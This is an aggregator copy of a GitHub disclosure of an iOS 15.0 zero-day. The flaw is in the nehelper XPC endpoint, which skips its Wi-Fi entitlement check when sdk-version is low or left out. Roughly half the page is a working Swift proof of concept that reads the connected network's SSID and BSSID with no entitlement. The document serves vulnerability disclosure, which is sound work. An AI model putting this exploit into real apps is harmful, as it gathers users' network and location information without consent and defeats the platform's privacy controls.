GitHub - illusionofchaos/ios-nehelper-wifi-info-0day
source link: https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Nehelper Wifi Info 0-day (iOS 15.0)
XPC endpoint com.apple.nehelper
accepts user-supplied parameter sdk-version
, and if its value is less than or equal to 524288, com.apple.developer.networking.wifi-info
entiltlement check is skipped.
Ths makes it possible for any qualifying app (e.g. posessing location access authorization) to gain access to Wifi information without the required entitlement.
This happens in -[NEHelperWiFiInfoManager checkIfEntitled:]
in /usr/libexec/nehelper
.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK